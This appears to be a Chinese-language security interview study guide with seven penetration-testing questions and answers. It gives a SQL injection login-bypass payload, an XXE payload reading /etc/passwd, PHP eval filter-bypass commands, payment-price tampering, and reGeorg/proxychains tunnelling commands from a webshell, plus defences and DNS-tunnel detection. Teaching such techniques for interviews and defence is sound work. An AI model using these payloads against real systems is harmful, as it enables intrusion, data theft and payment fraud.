《網安面試指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇網安資料庫https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
1. SQL注入進階
題目:某登錄表單使用以下SQL語句驗證用戶:
SELECT * FROM users WHERE username='$user' AND password='$pass'
已知后端使用MySQL且開啟錯誤回顯,但過濾了空格和#
符號。如何構造Payload繞過登錄?
答案:
-
技術點:注釋符替換、空白符繞過
-
Payload:
admin'/**/or/**/'1'='1'='
-
原理:利用
/**/
代替空格,閉合單引號后通過邏輯表達式繞過密碼驗證。最終SQL為:
SELECT * FROM users WHERE username='admin'/**/or/**/'1'='1'='' AND password='...'
-
防御:預編譯語句、過濾非必要字符、最小化錯誤信息。
2. XXE漏洞利用
題目:某XML解析接口允許上傳數據,如何構造XXE Payload讀取服務器上的/etc/passwd
文件?
答案:
<!DOCTYPE?test?[<!ENTITY?xxe?SYSTEM?"file:///etc/passwd">
]>
<user>&xxe;</user>
-
技術點:外部實體注入、文件讀取
-
擴展:若無法回顯,可結合HTTP外帶(OOB)利用盲XXE,通過DNS或HTTP請求將數據發送到攻擊者服務器。
3. RCE繞過過濾
題目:某PHP應用存在eval($_GET['cmd'])
,但過濾了system
、exec
等關鍵詞。如何繞過執行id
命令?
答案:
-
Payload:
cmd=echo shell_exec('id');
-
替代方案:利用反引號執行命令:
`id`
,或通過字符串拼接:syste''m('id')
。 -
防御:禁用危險函數(
eval
/system
)、使用白名單過濾。
4. 邏輯漏洞(支付繞過)
題目:某電商平臺在支付時前端校驗商品價格,如何通過Burp Suite修改請求實現0元支付?
答案:
-
步驟:攔截支付請求,修改
price
或total
參數為0或負數。 -
深層漏洞:若服務端未校驗訂單狀態,可重復提交已完成的訂單ID(Race Condition)。
-
防御:服務端校驗所有關鍵參數、使用事務鎖防止并發競爭。
5. 水平越權實戰
題目:某API接口通過URL參數/userinfo?id=123
獲取用戶信息,如何檢測水平越權?
答案:
-
測試方法:修改
id
為其他用戶ID(如124),觀察是否返回未授權數據。 -
修復方案:服務端校驗Session中的用戶身份與請求ID是否匹配。
-
工具:Burp Intruder自動化批量測試ID參數。
6. 內網滲透(代理搭建)
題目:已通過WebShell獲取內網主機權限(無公網IP),如何建立隧道代理進一步滲透?
答案:
- 工具鏈:
-
reGeorg:上傳對應腳本(如
tunnel.jsp
),本地執行python reGeorgSocksProxy.py -p 1080 -u http://內網IP/tunnel.jsp
-
Proxychains:配置
socks5 127.0.0.1 1080
,通過代理掃描內網(proxychains nmap -sT 10.0.0.0/24
)。
-
-
進階:使用
ew
或frp
實現多級跳板。
7. DNS隧道檢測
題目:如何識別內網中可能存在的DNS隧道攻擊?
答案:
- 檢測特征:
-
異常高頻DNS請求(尤其是TXT/AAAA記錄)。
-
長域名請求(如
a3b2c1.example.com
)。
-
- 工具:
-
Wireshark過濾DNS流量,分析請求內容。
-
DNSQuerySniffer監控異常域名解析。
-
-
防御:限制外部DNS解析、設置白名單域名。